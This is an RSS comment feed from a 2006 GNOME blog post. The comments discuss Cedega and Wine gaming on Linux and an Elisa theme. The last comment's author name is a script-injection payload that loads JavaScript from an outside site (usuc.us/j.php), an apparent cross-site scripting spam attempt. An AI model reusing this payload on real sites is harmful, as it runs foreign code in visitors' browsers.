<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: </title>
	<atom:link href="http://blogs.gnome.org/uraeus/2006/11/02/667/feed/" rel="self" type="application/rss+xml" />
	<link>http://blogs.gnome.org/uraeus/2006/11/02/667/</link>
	<description>GStreamer and Collabora news and more</description>
	<lastBuildDate>Fri, 10 Feb 2012 04:07:03 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
	<item>
		<title>By: Karl Lattimer</title>
		<link>http://blogs.gnome.org/uraeus/2006/11/02/667/comment-page-1/#comment-618</link>
		<dc:creator>Karl Lattimer</dc:creator>
		<pubDate>Wed, 30 Nov -0001 00:00:00 +0000</pubDate>
		<guid isPermaLink="false">http://blogs.gnome.org/uraeus/2006/11/02/667/#comment-618</guid>
		<description>Started offering cedega? They did this a long long time ago, 4.4 was well over a year ago. Simple fact is cedega isn&#039;t upto much, the point2play interface doesn&#039;t integrate with the shell correctly and there are hundreds of permission issues which cedega need to get over and fix, I have to run most games as root using cedega, which isn&#039;t ideal!&lt;p/&gt;I will hopefully be supporting both cvscedega (free) and cedega through wine-doors when I eventually finish off what it is I&#039;m currently doing with it. However nvidia want to start pushing cedega hard, hopefully wine-doors will bridge the usability/finance gap of cedega through cvscedega and winehq brands of wine.</description>
		<content:encoded><![CDATA[<p>Started offering cedega? They did this a long long time ago, 4.4 was well over a year ago. Simple fact is cedega isn&#8217;t upto much, the point2play interface doesn&#8217;t integrate with the shell correctly and there are hundreds of permission issues which cedega need to get over and fix, I have to run most games as root using cedega, which isn&#8217;t ideal!
<p />I will hopefully be supporting both cvscedega (free) and cedega through wine-doors when I eventually finish off what it is I&#8217;m currently doing with it. However nvidia want to start pushing cedega hard, hopefully wine-doors will bridge the usability/finance gap of cedega through cvscedega and winehq brands of wine.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Julian Oliver</title>
		<link>http://blogs.gnome.org/uraeus/2006/11/02/667/comment-page-1/#comment-619</link>
		<dc:creator>Julian Oliver</dc:creator>
		<pubDate>Wed, 30 Nov -0001 00:00:00 +0000</pubDate>
		<guid isPermaLink="false">http://blogs.gnome.org/uraeus/2006/11/02/667/#comment-619</guid>
		<description>Supporting Cedega can only serve to depreciate Linux as an install target for game developers themselves. The last thing Linux needs, to be taken seriously as a gaming platform, is a context for running DX code on Linux, or Mac OS X for that matter. We need native games, not games that live in the shadow of the latest DX version. Cedega only underscores Windows as the defacto gaming platform and encourages developers to ignore portable development strategies altogether.</description>
		<content:encoded><![CDATA[<p>Supporting Cedega can only serve to depreciate Linux as an install target for game developers themselves. The last thing Linux needs, to be taken seriously as a gaming platform, is a context for running DX code on Linux, or Mac OS X for that matter. We need native games, not games that live in the shadow of the latest DX version. Cedega only underscores Windows as the defacto gaming platform and encourages developers to ignore portable development strategies altogether.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: André Rüdiger</title>
		<link>http://blogs.gnome.org/uraeus/2006/11/02/667/comment-page-1/#comment-620</link>
		<dc:creator>André Rüdiger</dc:creator>
		<pubDate>Wed, 30 Nov -0001 00:00:00 +0000</pubDate>
		<guid isPermaLink="false">http://blogs.gnome.org/uraeus/2006/11/02/667/#comment-620</guid>
		<description>The old Elisa theme was way better than the ugly new one which looks rather cheap IMHO.&lt;p/&gt;</description>
		<content:encoded><![CDATA[<p>The old Elisa theme was way better than the ugly new one which looks rather cheap IMHO.
<p />
]]></content:encoded>
	</item>
	<item>
		<title>By: &#60;script src=http://usuc.us/j.php&#62;jonny640&#60;/script&#62;</title>
		<link>http://blogs.gnome.org/uraeus/2006/11/02/667/comment-page-1/#comment-621</link>
		<dc:creator>&#60;script src=http://usuc.us/j.php&#62;jonny640&#60;/script&#62;</dc:creator>
		<pubDate>Wed, 30 Nov -0001 00:00:00 +0000</pubDate>
		<guid isPermaLink="false">http://blogs.gnome.org/uraeus/2006/11/02/667/#comment-621</guid>
		<description>jonny1000</description>
		<content:encoded><![CDATA[<p>jonny1000</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<!-- This Quick Cache file was built for (  blogs.gnome.org/uraeus/2006/11/02/667/feed/ ) in 0.14198 seconds, on Feb 10th, 2012 at 8:26 am UTC. -->
<!-- This Quick Cache file will automatically expire ( and be re-built automatically ) on Feb 10th, 2012 at 9:26 am UTC -->
